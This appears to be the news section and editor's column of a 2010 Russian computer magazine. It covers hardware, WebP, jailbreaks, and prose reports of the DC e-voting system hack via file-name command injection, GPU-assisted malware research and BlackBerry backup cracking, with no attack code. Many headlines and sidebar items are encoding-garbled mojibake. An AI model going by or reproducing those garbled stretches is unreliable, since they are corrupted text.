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Я не большой фанат компьютерного железа, не меняю 
видеокарты два раза в год и с подозрением отношусь 
к идее тратить на апгрейд по $4k за сезон. Компьютер 
всегда был для меня просто средством для работы и 
развлечений, я всегда находил радость и удовольствие 
именно в его использовании, а не в очередной замене 
памяти на более быструю и новую.
Больше того: мне кажется, что излишняя возня с железом 
— это особая форма сублимации у людей, которые 
не нашли никакой другой формы своему увлечению 
компьютерами. Ну, знаешь, программировать у них не 
получается, ошибки в CMS не ищутся, 3ds Max не освоили, 
вот и разбирают/собирают свои компы на время :).

Но одна вещь, которую я купил себе в прошлом месяце, 
вызвала у меня неподдельный восторг и доставила уже 
забытое ощущение радости от самого апгрейда. SSD-
накопитель для раздела с операционной системой и 

основными приложениями реально дал мне СКАЧЕК в 
производительности и комфорте работы. Суди сам: когда 
я использовал HDD для системного раздела, Windows 7 
со всеми нужными приложениями загружалась у меня за 
1 минуту 45 секунд. Установка SSD изменила все. Честная 
средняя скорость чтения около 200 Мб/сек обуславливает 
загрузку винды за 29 секунд: в 4 раза быстрее, чем было!

В общем-то, я не рассчитываю, что открыл тебе что-
то новое: просто делюсь своей радостью от удачного 
апгрейда. И смело тебе советую поставить именно SSD-
накопитель своей ближайшей upgrade-целью. Оно того 
стоит :).

nikitozz, гл. ред. Х
udalite.livejournal.com
http://vkontakte.ru/club10933209
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«Корпорация добра» Google успевает везде и всюду. В то время как в одном ее подраз-
делении строят робо-автомобиль, в другом разработали новый графический формат 
— WebP (.webp), который теперь прочат на смену JPEG. Разумеется, ни для кого не 
является тайной, что JPEG не идеален, и давно существуют форматы, его превосходя-
щие. Но WebP от конкурентов отличает один простой нюанс — его продвигает Google. 
Новшество функционирует,  опираясь на контейнер RIFF и алгоритмы сжатия, исполь-
зуемые для кодирования фреймов видеокодеком VP8 (а это также проект Google). Са-
мый главный принцип заключается в предугадывании значения пикселя на основе его 
«соседей» и кодировании разницы между настоящим и рассчитанным значением. Эта 
разница часто оказывается равна нулю, благодаря чему WebP-изображения можно 
сжать намного более эффективно. Если верить Google, размер WebP-файлов в среднем 
на 39,8% меньше, чем размер JPEG, и это без видимых для человеческого глаза потерь 
в качестве! По разной статистике, до 65% трафика сейчас составляют графические 
данные. 90% из них хранится на серверах в формате JPEG и других форматах сжатия с 
потерями. Несложно посчитать, как сильно новый эффективный формат для хранения 
изображений может помочь Google в нелегком начинании «ускорения интернета». 
Хотя в этой бочке меда имеется небольшая ложка дегтя. Дело в том, что кодирование 
изображения в формат WebP пока занимает в 8 раз больше времени, чем кодирование 
в JPEG.

JPEG, ÏÎÄÂÈÍÜÑß

 004  

Обо всем 
за последний 
месяц

$12000 ïîëó÷èë îò êîìïàíèè Mozilla 12-ëåòíèé Àëåêñàíäð Ìèëëåð çà 
îáíàðóæåíèå òðåõ êðèòè÷åñêèõ áàãîâ â Firefox’å. Íà èõ ïîèñê ó íåãî 

óøëî 10 äíåé. 

Производители уделяют все больше внима-
ния борьбе с джейлбрейком своих девайсов, 
а самые «взламываемые» устройства в этом 
плане, конечно, смартфоны. Пришедшие из-
за океана новости, честно сказать, не радуют. 
Обладатели Android-новинки HTC Desire Z 
(G2) от T-Mobile с неприятным удивлением 
обнаружили, что смартфон защищен от джей-
лбрейка на самом что ни на есть низком уров-
не. Один из микрочипов устройства блокирует 
сохранение любых изменений в текущую 
прошивку. Механизм защиты рьяно оберегает 
системную часть платформы Android. Как это 

реализовано — пока не совсем ясно, но обос-
нованных теорий две: либо защита каждый 
раз переписывает корневой раздел ОС, либо 
здесь не обошлось без технологии unionfs. 
То есть запись изменений осуществляется во 
временный раздел, который при перезагрузке 
очищается. Подобное нововведение весьма 
спорно, особенно применительно к аппарату, 
работающему под управлением «свободной 
ОС Android». Пока неизвестно, кому именно 
мы обязаны такой мерой защиты — HTC или 
же T-Mobile, но, как бы то ни было, звоночек 
тревожный.    

ÄÆÅÉËÁÐÅÉÊ ÍÅ ÏÐÎÉÄÅÒ!
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Компания «Белый Ветер ЦИФРОВОЙ»  запус-
тила в октябре проект нового образовательного  
проекта «ЦИФРОВОЙ университет», целью 
которого является преодоление многих пробе-
лов в знаниях о современной технике. В октябре 
прошло два мастер-класса, в которых участ-
вовали авторитетные деятели рунета: Антон 
Носик (dolboeb), Максим Кононенко (mrparker) 

и Сергей Мухаммедов (ottenki-serogo), а так же 
журналист и художник Андрей Савельев. Темы 
мастер-классов касались актуальных вопросов 
блогосферы, мобильной журналистики и 
использованию гаджетов для формирования 
информационного общества.
Получить больше информации о проекте мож-
но на сайте www.digital.ru/digital-university.

Необычный и очень стильный монитор выпустила компания Samsung. Очередное 
пополнение в широко известной и популярной у нас серии SyncMaster получило 
название FX2490HD. Главной особенностью этого 24-дюймового LED-дисплея 
является встроенный ТВ-тюнер и стереоколонки. Но самый смак в том, что монитор 
поддерживает режим «картинка в картинке», который позволяет выводить изоб-
ражение с ТВ-тюнера в отдельное окно в углу экрана, в то время как ты можешь 
спокойно продолжать работать в системе и, скажем, серфить инет в браузере. Из 
остальных «фишек» отметим контрастность MEGA DCR, FullHD-разрешение (1080p) 
и технологию ConnectShare, благодаря которой просматривать видео, фото или слу-
шать музыку можно, даже не включая компьютер. Достаточно просто подключить к 
монитору цифровую камеру, флешку, mp3-плеер или любой другой USB-накопитель 
— и вуаля! Технические характеристики новинки таковы: яркость —  250 кд/м2, мак-
симальное разрешение — 1920x1080, время отклика — 5 мс. Нельзя также умолчать 
и о дизайне FX2490HD: монитор выполнен в оригинальном цвете «античная брон-
за» (это название придумали сами пользователи, Samsung проводил соответству-
ющий конкурс). Х-образная хромированная подставка и тонкое обрамление экрана 
с покрытием из прозрачного пластика выгодно дополняют необычное цветовое 
решение. Ориентировочная розничная цена новинки составляет 18 990 рублей.   

В рядах «яблочных» джейлбрейкеров приключил-
ся скандал. В прошлых номерах мы уже писали 
о том, что парни из Dev-Team обнаружили, что 
девайсы на базе Apple A4 имеют уязвимость в 
bootrom — загрузчике, который вызывается 

iPhone/iPad в момент включения устройства. Тогда 
взломщики радостно всех заверили, что скоро 
выпустят джейлбрейк для устройств с iOS 4.1 на 
борту, и всем будет счастье. Тут важно отметить, что 
bootrom изначально зашит на заводе в флеш-
память (read-only), а все обновления прошивки 
самого устройства никак на него не влияют. Пофик-
сить баг Apple, вероятнее всего, получится только 
на аппаратном уровне в новых партиях устройств. 
Однако планы Dev-Team оказались сорваны. Ви-
ной всему широко известный в узких кругах хакер 
Джордж Хотц aka geohot. Известен этот товарищ 
благодаря своим взломам PlayStation 3 и продук-
ции Apple. И хотя Джордж вроде бы ушел со сцены, 
в этот раз он почему-то не пожелал оставаться в 

стороне и, опередив Dev-Team, выпустил свое 
средство для джейлбрейка аппаратов с iOS 4.0 и 
4.1 — утилиту limera1n. Вся соль в том, что limera1n 
тоже использует дырку в bootrom, только другую. 
Да-да, geohot нашел вторую уязвимость и не стал 
ее утаивать. И хотя детище Хотца пока является 
бета-версией и местами глючит, коллеги geohot 
по цеху негодуют. Еще бы, ведь если Apple будет 
знать об обоих эксплойтах, то сможет закрыть оба 
один махом! Теперь перед остальным джейлбрей-
керами стоит нелегкий выбор: либо придержать 
свои разработки и подождать, пока Apple закроет 
дыру, используемую geohot’ом, либо опубликовать 
все сейчас, давая Apple возможность залатать все 
уязвимости одним махом.    

ÕÎËÈÂÀÐ ÈÌÅÍÈ «ßÁËÎ×ÍÎÃÎ» ÄÆÅÉËÁÐÅÉÊÀ

Íà âûñòàâêå Ceatec êîìïàíèÿ TDK ïðîäåìîíñòðèðîâàëà îïòè÷åñêèé 
äèñê îáúåìîì 1 Òá. Íà îáåèõ ñòîðîíàõ äèñêà ðàñïîëîæèëîñü ïî 16 

ñëîåâ, åìêîñòü êàæäîãî èç êîòîðûõ ñîñòàâëÿåò 32 Ãá.

ÖÈÔÐÎÂÎÉ ÓÍÈÂÅÐÑÈÒÅÒ

24 ÄÞÉÌÀ ÀÍÒÈ×ÍÎÉ ÁÐÎÍÇÛ





MEGANEWS

 008  

Ðóññêîÿçû÷íàÿ «Âèêèïåäèÿ» ïðåîäîëåëà î÷åðåäíîé ðóáåæ: òåïåðü â 
ðóññêîé «Âèêè» óæå áîëåå 600 000 ñòàòåé.

ÍÎÂÛÉ LED ÎÒ LG
Компания LG объявила о выпуске на российский рынок новой линейки мониторов, E50VR, 
которая будет представлена двумя моделями: E2250VR и E2350VR (с экраном 21.5” и 23” 
соответственно). Новая серия взяла все лучшее от уже известных нам LED-мониторов 
E50: тонкий корпус (глубиной всего 17,5 мм), необычный дизайн, сниженное энергопот-
ребление, набор интеллектуальных функций Smart+ (Auto Bright, Dual Web, Cinema Mode 
и Original Ratio). Но присутствует в E50VR и еще одна приятная новая фишка: технология 
повышения качества изображения, SUPER+ Resolution. Это новшество особенно порадует 
и киноманов, и геймеров. SUPER+ Resolution позволяет улучшить качество изображения 
после масштабирования, устраняя размытость и неровности контуров, не забывая при этом уменьшать помехи, возникающие в ходе обработки, и смягчать 
излишнюю резкость. В LG утверждают, что благодаря новой технологии игры для PSP и NINTENDO DS на экранах новых мониторов выглядят прекрасно, а 
воспроизведение изображений с низким разрешением (в том числе видео) становится куда более приятным занятием. Максимальное разрешение обоих 
мониторов составляет 1920*1080, яркость 250 — кд/м2, динамическая контрастность — 5000000:1, время отклика — 5 мс. Обе новинки уже можно начинать 
искать на прилавках магазинов по ориентировочной цене 8200 руб. за модель E2250VR и 8600 руб. — за E2350VR.

На страницах нашего журнала мы регулярно рассказываем тебе об интересных и прикольных 
игрушках для гиков. Вот и сегодня мы не смогли пройти мимо электронных жуков Hexbug (www.
hexbug.ru), также известных у нас как «наножуки». Эти крохотные роботы, у которых, как в песне, 
«вместо сердца пламенный мотор», гарантированно перепугают твоих неподготовленных друзей 
(особенно женского пола :)), ведь они движутся и ведут себя в точности как настоящие живые 
насекомые. Более того, благодаря звуковым датчикам, датчикам прикосновения и света эти чле-
нистоногие умеют самостоятельно обходить препятствия, и «слышат» тебя, реагируя, скажем, на 
хлопок в ладоши или легкий удар по столу. Так что электронными жуками можно не только пугать 
друзей, но и устраивать настоящие гонки, конструируя для Hexbug трассы с полосами препятс-
твий и лабиринтами. Тебя не устраивает такая автономность жуков? Тогда обрати внимание на 
модель «Паук», управляемую с помощью двухканального пульта. Работают все роботы от обычных 
батареек AG13. По указанной выше ссылке ты можешь почитать детальную спецификацию, пос-
мотреть видео и выбрать, какая из модификаций роботов тебе больше по душе.

Ученые со всего мира уже не первый год пытают-
ся создать робо-автомобиль, способный ездить 
самостоятельно, без участия человека. Теперь 
к этим опытам присоединилась и компания 
Google. Оказывается, у Google имеется целый ряд 
модифицированных автомобилей Toyota Prius, 
которые разработчики компании давно обкаты-
вают вовсю. Суммарный пробег этих робо-машин 
уже превышает 140 000 миль! Оснащенные 
системой камер, лазерами, радиолокационными 
датчиками и внешними GPS-антеннами авто 
курсируют по обычным дорогами, между офиса-
ми компании, а иногда отправляются и в более 
дальние поездки. Пока все это, конечно, проис-
ходит под контролем людей: в машине во время 
поездки всегда находятся опытный водитель, в 

любой момент готовый взять управление на себя, 
и инженер, приглядывающий за состоянием всех 
систем. Прибавим к этому и то, что во избежание 
неожиданностей маршруты тщательно планиру-
ются и составляются заранее. Специалисты Google 
также замечают, что весь огромный объем данных, 
которые собирают машины во время поездки, 
обрабатывается в датацентрах компании. За все 
время испытаний гугло-мобилей пока произошло 
лишь одно ДТП, да и то совсем не по вине роботов: 
в корму одного из робо-Приусов на светофоре 
въехал зазевавшийся водитель. В Google уверены, 
что эти разработки в будущем помогут почти вдвое 
снизить уровень смертности на дорогах. Жаль, что 
внедрять подобные технологии для потребитель-
ского рынка пока никто не торопится.    

ÁÀÒÀËÈÈ ÐÎÁÎÒÎÂ ÍÀ ÒÂÎÅÌ ÑÒÎËÅ

Internet Explorer ñäàåò ïîçèöèè. Âïåðâûå çà âñþ èñòîðèþ âåäåíèÿ 
ñòàòèñòèêè èñïîëüçîâàíèÿ áðàóçåðîâ äîëÿ IE óïàëà íèæå îòìåòêè 
50%. Åùå 2 ãîäà íàçàä ýòîò ïîêàçàòåëü ðàâíÿëñÿ 67%. Äåëàåì ñòàâêè, 

ñêîëüêî áóäåò â ñëåäóþùåì?

ÁÅÑÏÈËÎÒÍÛÅ 
ÀÂÒÎÌÎÁÈËÈ ÎÒ 
GOOGLE
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36 ×ÀÑÎÂ ÍÀ ÂÇËÎÌ ÑÈÑÒÅÌÛ ÃÎËÎÑÎÂÀÍÈß

Что бы разработчики всяческих инноваций 
делали без хакеров (причем в исконном 
понимании этого слова)? Страшно подумать. 
История, произошедшая недавно в Ва-
шингтоне, округ Колумбия, лишний раз это 
подтверждает. В связи с грядущими ноябрь-
скими выборами здесь разработали новую 
электронную систему голосования, Digital 
Vote by Mail, вложив в проект более 300 тыс. 

долларов. В тестировании новинки пригласили 
принять участие экспертов по компьютерной 
безопасности со всего мира, и кто бы мог 
подумать, что систему взломают, не дав ей 
проработать и 36 часов! Самое смешное в том, 
что отличились не какие-то маститые деятели, 
а простые студенты из университета Мичи-
гана, нашедшие дырку в системе обработки 
заполненных PDF-бюллетеней. По их «вине» 
система вдруг начала проигрывать на машине 
пользователя песню «Hail to the Victors» 
после окончания процедуры голосования. 
Это командный гимн университета Мичигана, 
который исполняется во время спортивных 
состязаний. Но гимн был лишь верхушкой 
айсберга... На деле взломщики обнаружили, 
что могут выполнять в системе произвольные 
команды. Для этого у PDF-файла бюллетеня 
расширение .pdf достаточно было изменить на 
нужную строку. Как оказалось, далее имя файла 

далее передавалось консольной утилите 
GnuPG для шифрования. Сложно представить, 
что в таком очевидном месте разработчики не 
реализовали достаточную проверку. Дальше 
уже несложно было добраться до базы данных 
и установить свой бэкдор, который позволял 
просматривать результаты голосования и под-
менять голоса. Дальше ребята заморочились 
еще больше и перенастроили систему так, что-
бы она изменяла результаты голосования по 
определенному сценарию. И лишь потом они 
встроили в страницу гимн, благодаря которому 
взлом наконец-то и был замечен! В итоге тех-
нический глава избирательной комиссии Поул 
Стенбйорн сообщил, что, хотя дырка, давшая 
взломщикам полный доступ к системе, и была 
закрыта, пробный запуск новой разработки, 
намеченный на ноябрь, отложен. Подумать 
только: и этот дуршлаг стоил $300 000!

MEGANEWS
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В ходе выставки CEATEC 2010, прошедшей недавно 
в Японии, компания Hitachi-LG представила уже 
вторую модификацию весьма интересного гибридного 
устройства, выход на рынок которого запланирован 
на начало 2011 года. Девайс с говорящим названием 
HyDrive, являет собой не что иное, как помесь SSD с оп-
тическим приводом. Первое поколение этих девайсов 
Hitachi-LG продемонстрировали еще весной этого года, 
и по сравнению с той презентацией проект постигли оп-
ределенные изменения. Теперь HyDrive комплектуется 

не 32 или 64 Гб флеш-памяти, как ранее, а уже более 
приемлемыми 256 Гб. Также появились интерфейс 
SATA 6 Гбит/с, функция записи и чтения Blu-Ray-дис-
ков и выбор между моделями с интерфейсом SATA и с 
интерфейсом USB 3.0. Ориентирован гибрид в первую 
очередь на мобильные ПК, ведь он экономит место, 
способен ускорить начальную загрузку ОС и повысить 
производительность при работе с несколькими прило-
жениями, а также в играх. Какую сумму придется отдать 
за это компактное решение, пока, увы, неизвестно.

SDD È «ÏÈÑÀËÊÀ» Â ÎÄÍÎÌ ÔËÀÊÎÍÅ

Microsoft îïóáëèêîâàë èíòåðåñíóþ ñòàòèñòèêó: îêàçàëîñü, áîëüøå 
âñåãî çîìáèðîâàííûõ êîìïîâ íàõîäèòñÿ â ÑØÀ; â íà÷àëå ãîäà èõ ÷èñëî 

ïðåâûøàëî 2,2 ìëí. Â Ðîññèè æå, ïî äàííûì MS, â áîòíåòàõ ñîñòîÿò âñåãî 
200 000 ìàøèí.   

ÂÈÐÓÑÛ Ó×ÀÒÑß ÝÊÑÏËÓÀÒÈÐÎÂÀÒÜ GPU
Группа исследователей из Греции и США 
рассказала миру о своих изысканиях в области 
вирусописательства, а именно — о том, как им 
удалось создать вирус, активно использующий в 
работе возможности графического процессора 
(GPU). По мнению авторов зловреда, экспе-
риментировавших с архитектурой CUDA, за 
вредоносным ПО такого рода будущее — они 
уверены, что вирусмейкеры очень скоро придут к 
тем же выводам, что и они. Тренд перекладывать 

некоторые задачи с ЦП на ГП набирает обороты, 
и это может сыграть хакерам на руку. Исследо-
ватели успешно доказали, что «на плечи» GPU 
вполне можно переложить, к примеру, неслож-
ные механизмы самозащиты малваря, что 
повышает его шансы на успех. В частности, речь 
идет о переносе на GPU функции самораспаков-
ки исполняемого кода и фрагментации рабочего 
цикла программы с поэтапной расшифровкой 
составляющих кода (каждый сегмент вызыва-

ется в строгой очередности и, отработав, вновь 
зашифровывается). Более того, благодаря CUDA 
удастся существенно сократить длину кода, 
подлежащего исполнению в среде x86 (а потому 
его будет проще скрыть) и станет возможным 
хранить ключи шифрования непосредственно 
в памяти GPU. Подробности авторы предста-
вили ходе конференции Malware 2010, после 
которой был опубликован whitepaper (http://bit.ly/
GPUMalware), а также PoC.
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Непревзойденная защита BlackBerry-устройств 
хорошо известна любому, кто хоть немного интересу-
ется смартфонами, коммуникаторами и иже с ними. 
О платформу RIM BlackBerry сломано множество 
копий, и ее защищенность и закрытость не раз 
становилась причиной судебных разбирательств 
во многих странах мирах. А уж как надоела RIM 
BlackBerry спецслужбам... Словом, известие о том, 
что российские криптографы из Elcomsoft сумели 
побороть хваленую защиту BlackBerry, наверняка 
сначала многим показалось шуткой, а зря. Наши 
специалисты на самом деле сумели найти уязви-
мость в программе BlackBerry Desktop Software, 
а именно — в реализации 256-разрядного AES-
шифрования. Дырка, в свою очередь, позволяет доб-
раться до запароленных резервных копий, которые 

содержат пользовательские контакты, электронную 
почту и пароли от нее, данные органайзера, историю 
браузера, голосовую почту, архивы SMS-сообщений, 
фотографии и так далее. Elcomsoft уже предста-
вили обновленную версию своей программы для 
восстановления паролей Elcomsoft Phone Password 
Breaker, которая ранее позволяла получить доступ 
к защищенным паролем резервным копиям Apple 
iPhone и iPod Touch. Теперь прога поддерживает и 
BlackBerry. Конечно, стоит заметить, что работать 
с серверной частью системы BlackBerry (которая 
так волнует спецслужбы) программа не умеет, но и 
взлом клиентской части — подвиг, который ранее не 
удавался никому. Поздравляем наших специалистов 
с этим достижением и представляем, как RIM рвут на 
себе волосы :). 

ÐÓÑÑÊÈÅ ÎÄÎËÅËÈ ÇÀÙÈÒÓ BLACKBERRY
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Åæåãîäíûé îò÷åò êîìïàíèè TeleGeography ãëàñèò: çà 2010 ãîä îáúåì 
ìèðîâîãî èíòåðíåò-òðàôèêà âûðîñ íà 62%.

Áðèòàíñêàÿ êîìïàíèÿ CPP âûÿñíèëà, ÷òî èç 40 000 «óëè÷íûõ» 
Wi-Fi-ñåòåé 25% íå çàùèùåíû âîîáùå íèêàê, à åùå 25% èç íèõ ìîæíî 
âçëîìàòü çà ìèíèìàëüíîå âðåìÿ.   
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По правде говоря, мы успели 
забыть о том, что у Microsoft есть 
мобильная платформа :). Для 
Windows Mobile давно не было 
существенных обновлений, и на 
рынке почти не появлялось но-
вых телефонов на этой платфор-
ме. Microsoft поняла, что дальше 

развивать WM не выйдет, а потому 
аккумулировала все свои силы на разработку совершенно новой ОС. И 
вот, наконец, Windows Phone 7, о котором мы уже писали, официально 
представлена. Первый официальный анонс о WP7 увидел свет еще в 
феврале текущего года, и с тех пор мало что изменилось. Напомним, 
что WP7 основана на Windows Embedded CE 6.0, имеет совершенно 
новый интерфейс и интеграцию с сервисами Microsoft Xbox Live, Zune 
и Bing. Windows Phone 7 имеет новый домашний экран: здесь больше 
нет статичных иконок, все они заменены на так называемые «живые 
элементы» (Live Tiles). По сути, это приложения-информеры, которые 
уведомляют владельца о последних звонках, новостях из социальных 
сетей, письмах и так далее. Интерфейс операционной системы включа-
ет шесть вытянутых по горизонтали панелей (Hubs), которые на экране 
мобильного устройства можно прокручивать влево и вправо. Хабы, по 
сути, представляют собой разделы ОС, и их всего шесть: «Картинки», 
«Люди», «Офис», «Музыка+Видео», «Игры» и «Marketplace». Послед-
ний заслуживает особого внимания: как не трудно догадаться, для 

смартфонов на базе WP7 будет функционировать интернет-магазин 
приложений. Наконец-то! Примечательно, что ребята из Microsoft 
всеми силами пытаются привлечь разработчиков к своей платформе, а 
в некоторых случаях даже спонсировать это. Например, идут перего-
воры о портировании игры-бестселлера Angry Birds, которая сейчас 
доступна для iOS и Android. Помимо магазина приложений пользо-
вателям будет доступен и специальный интернет-сервис, с помощью 
которого можно отследить местонахождение смартфона в случае утери 
и т.д. Если продолжать тему приложений, то нельзя не отметить отсутс-
твие привычной многозадачности. Вместо нее в WP7 используется 
технология Tombstoning (push-уведомления). Приложения из фонового 
режима могут предупреждать пользователя о том, что с ними что-то 
произошло. Например, пришло новое сообщение. Но в привычном 
смысле многозадачность сейчас недоступна. Пока нет поддержки 
Adobe Flash, но это и понятно; зато браузер поддерживает Silverlight. 
Но, что странно, интерфейс пока не поддерживает и copy-paste (такой 
же болезнью страдали ранние версии iOS). Поиграться с новой плат-
формой можно уже на десятке телефонов от разных производителей: 
HTC, LG, Samsung, Dell и Toshiba. Первые продажи уже стартовали в 
конце октября и начале ноября. Минимальные требования к оборудо-
ванию, кстати, весьма суровы: мультисенсорный дисплей (распозна-
вание четырех прикосновений одновременно) 800x480 или 320x480, 
процессор 1 Ггц, 256 Мб оперативной и как минимум 8 Мб флеш-памя-
ти, поддержка DirectX 9, GPS-приемник, акселерометр, электронный 
компас, FM-радио, камера со вспышкой и разрешением не менее 5 Мп.  

WINDOWS PHONE 7



Хотя у нас и не прецедентное право, случай, произошедший недавно в 
Брянске, все равно наводит на мрачные размышления. Начало у этой 
истории обычное: житель Брянска «засветился», наплодив на местном 
торрент-трекере раздач с продукцией Microsoft. Раздача у него, види-
мо, шла хорошо, так как парня нашли и возбудили дело (15 фактов по 
второй и 9 по третьей частям статьи 146 УК РФ). Отдел «К» подсчитал, 
что размер деяния активного сидера составляет 53 миллиона рублей. 
Откуда такая сумма? Это цена ПО, умноженная на число завершенных 
скачиваний. Однако финансовая выгода обвиняемого оставалась, так 
сказать, «неясна». По сути, ее не было вовсе. Вот тут-то сотрудники 
отдела «К» и предложили рассматривать в качестве выгоды рейтинг 
пользователя на торрент-трекере. И, как ты понимаешь, это уже не 
совсем обычно и уж точно не здорово. Нет, это не значит, что в худшем 
случае твои терабайты из графы «upload» выйдут тебе боком. Никто 

не станет утверж-
дать, что все это 
было заработано 
исключительно на 
пиратском контенте 
(хотя на деле ты мог 
годами раздавать дистрибутивы Ubuntu и один раз скачать дистриб 
Windows). Никто вообще не станет углубляться в такие подсчеты. Все 
куда проще: с точки зрения закона в принципе существует разница, 
было ли человеку выгодно раздавать что-либо на трекере или нет. Если 
выгода была, это ухудшает дело, вне зависимости от конкретных цифр 
твоего рейтинга. Отсюда мораль — если эта «светлая идея» прижи-
вется, и органы станут использовать ее и далее, разумнее будет юзать 
трекеры без системы подсчета рейтинга. 

ÕÎÐÎØÈÉ ÐÅÉÒÈÍÃ Â ÒÎÐÐÅÍÒÀÕ? 
ÒÛ — ÇËÎÑÒÍÛÉ ÏÈÐÀÒ! 

Â ëàáîðàòîðèè PandaLabs ïîäñ÷èòàëè, ÷òî ñòàðàíèÿìè ôèøåðîâ â Ñåòè 
êàæäûé äåíü ïîÿâëÿåòñÿ 57 000 ïîääåëüíûõ URL-àäðåñîâ.



ENLARGE YOUR PENIS: ÐÓÑÑÊÈÅ 
ÕÀÊÅÐÛ È MICROSOFT

ÏÅÐÅÄÀ×À HD-ÂÈÄÅÎ ÁÅÇ ÏÐÎÂÎÄÎÂ

История на грани курьеза стала достоянием 
общественности в прошлом месяце. Известная 
сеть Canadian Health & Care Mall, нелегаль-
но торгующая всяческими медицинскими 
препаратами, начиная с гормонов и стероидов, 
заканчивая Виагрой, на протяжении трех недель 
использовала для своих «черных дел» ресурсы 
компании Microsoft. Хуже того, виноватыми во 
всем оказались страшные «русские хакеры», 
которые, оказывается, и стоят за Canadian 
Health & Care Mall. Преступники наладили 

распространение своей продукции через 1025 
уникальных сайтов, таких как seizemed.com, 
yourrulers.com и crashcoursecomputing.com, 
и доподлинно известно, что они использовали 
как минимум два адреса Microsoft для хостинга 
этих доменных имен и сайтов (DIG утверждает, 
что это были 131.107.202.197 и 131.107.202.198). 
DNS-серверы, обслуживавшие сайты, также 
эксплуатировали мощности «мелкомягких». Как 
в Microsoft допустили подобное — непонятно. 
Представители корпорации подтверждают, что 

все вышеописанное — правда, заявляют, что 
провели внутреннее расследование и действи-
тельно нашли в своей сети «два скомпромети-
рованных устройства». Что конкретно было не 
так — не разглашается, известно лишь, что не 
обошлось без человеческого фактора и неверной 
конфигурации оборудования.  

Согласись, чем больше в наших домах появля-
ется техники, тем сильнее раздражают везде-
сущие провода. Также многие сталкивались с 
ситуацией, когда фильм, сериал или какое-то 
другое видео хочется посмотреть на большой 
диагонали ТВ, с комфортом устроившись на 
диване или в кресле. Но для этого приходился 
либо записывать файл на диск, либо переки-
дывать на флешку (если ТВ поддерживает этот 
формат в частности и функцию воспроизведе-
ния с флешки в целом), либо вообще приоб-

ретать медиаплеер, дабы не мучиться каждый 
раз. Что ж, для тех, кому знакомы эти ужасы, 
есть хорошие новости. Компания AMIMON, 
специализирующаяся на разработках в облас-
ти беспроводной передачи видео, показала 
прототип миниатюрного (81,3x29,9x15,5 мм) 
адаптера AMIMON WHDI (Wireless Home Digital 
Interface) Stick. По словам разработчиков, эта 
кроха способна передавать видео в формате 
1080p с кадровой частотой 60 Гц, и задержка 
сигнала при этом не будет превышать 1 мс! 

Благодаря WHDI Stick подключить ноутбук/
нетбук к ТВ не составит никакого труда. Адаптер 
подключается к HDMI-порту компьютера и 
«запитывается» от USB. В телевизоре, в свою 
очередь, должен либо располагаться анало-
гичный приемник, либо поддержка WHDI может 
быть в ТВ по умолчанию. AMIMON собирается 
выпустить устройства в продажу уже в начале 
следующего года. Разработчики обещают, что 
цена на WHDI Stick будет не просто «приемле-
мой», но даже низкой.   

MEGANEWS

Ïî äàííûì Net Applications ñàìîé ïîïóëÿðíîé îïåðàöèîíêîé äî ñèõ ïîð 
ÿâëÿåòñÿ Windows XP, åå äîëÿ â ìèðîâîì òðàôèêå ñîñòàâëÿåò 60,03%. 

Äëÿ ñðàâíåíèÿ: Windows 7 — 17,1%, Apple Mac OS X — 5,03%, Apple iOS — 1,18% 
è Linux — 0,85%.  
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 Сергей  Никитин

Технологии
Основное предназначение монитора — отображать информацию. 
Выводить четкий текст, насыщенную картинку, яркие и естественные 
цвета. Все это зависит от того, какая матрица установлена в конкретный 
дисплей. Сегодня на рынке доступны изделия с матрицами TN, MVA и IPS. 
Давай вкратце поговорим о том, для чего лучше всего подходит каждая 
из них. Сегодня в ЖК-дисплеях чаще всего встречается матрица типа TN. 
«Почему?» — спросишь ты. «Дешево», — ответим мы. Действительно, 
этот тип матрицы самый доступный, следовательно, он же и самый рас-
пространенный. Но не следует думать, что нам впаривают что-то некачес-
твенное, у этой технологии есть ряд преимуществ. Это, например, малое 
время отклика, которое так важно в игровых приложениях, да и в фильмах 
тоже. Поэтому применяя такую матрицу, производитель может предо-
ставить нам монитор с большой диагональю, отлично подходящий для до-
машних мультимедийных развлечений, причем по разумной, доступной 
цене. Но у TN-матриц есть и недостатки — это проблемы с качеством 
передачи цветов, не самые большие углы обзора и статическая (не путать 
с динамической) контрастность. Все эти параметры важны уже не для игр 
и чтения текста, а для обработки изображений, поэтому такие мониторы 
нельзя ставить профессионалам дизайна и полиграфии. А то обидятся. 
Противоположностью TN-матрицам, причем полной, являются матрицы 
типа IPS. Они стоят дорого и предназначены не для домашних безде-
льников, геймеров и видеофилов, а для тех профи фотошопа, для которых 
критично качество статичного изображения. Цветопередача мониторов с 

IPS-матрицей самая лучшая среди всех ЖК-экранов, только она способна 
честно отобразить все оттенки 24-битного RGB-богатства. Углы обзора у 
таких мониторов, как по вертикали, так и по горизонтали, достигают 178°. 
Учитывая то, что при наклоне в 180° ты не увидишь сам экран, то такой по-
казатель просто великолепен. Зато время отклика у матриц IPS, в отличие 
от TN, крайне велико, поэтому играть и смотреть кино на этих мониторах 
не рекомендуется.Если есть настолько полярные варианты, то должно 
быть между ними и компромиссное решение. И оно действительно есть 
— это матрицы типа MVA и PVA. У обоих достаточно большой угол обзора и 
низкое время отклика, качественная цветопередача. Но при небольшом 
отклонении взгляда они теряют детали в полутонах.
Для сегодняшнего теста мы отобрали 4 монитора с TN-матрицей: они 
отлично подходят для программирования, игр, чтения текста и просмотра 
фильмов — всего того, чем мы с тобой занимаемся каждый день. И самый 
главный плюс: они являются очень доступными по цене.

Методика тестирования
Тестирование мониторов подразделялось на две части. Первая была 
субъективной — мы оценивали дизайн и функциональность устройств. 
Вторая часть была более объективной — это тестирование с помощью 
колориметра. Исследование цветопередачи завершалось построением 
графика. Чем больше цветные линии отклоняются от диагонали квад-
рата, тем качество цветопередачи хуже. Чем ближе их слияние в одну 
целую линию, тем лучше.

ACER B233HU
BENQ V2220
LG E2350V
SAMSUNG BX2240 LED

Список 
тестируемого 
оборудования

ÂÛÁÈÐÀÅÌ 
ÁÞÄÆÅÒÍÛÉ
ÌÎÍÈÒÎÐ

 Ñåãîäíÿ ìîæíî ëåãêî è ïðîñòî ïðèîáðåñòè îãðîìíûé ìîíèòîð 
ñ äèàãîíàëüþ íå ìåíåå 20 äþéìîâ. Âïå÷àòëÿåò? Íî òîëüêî ýòèì ìîíèòîð 
íå îãðàíè÷èâàåòñÿ, à õîðîøèé — òåì áîëåå, ïîýòîìó ïîäâîäíûõ 
êàìíåé ïðè âûáîðå äèñïëåÿ ñóùåñòâóåò ïðåäîñòàòî÷íî. Ìû ïðîâåëè 
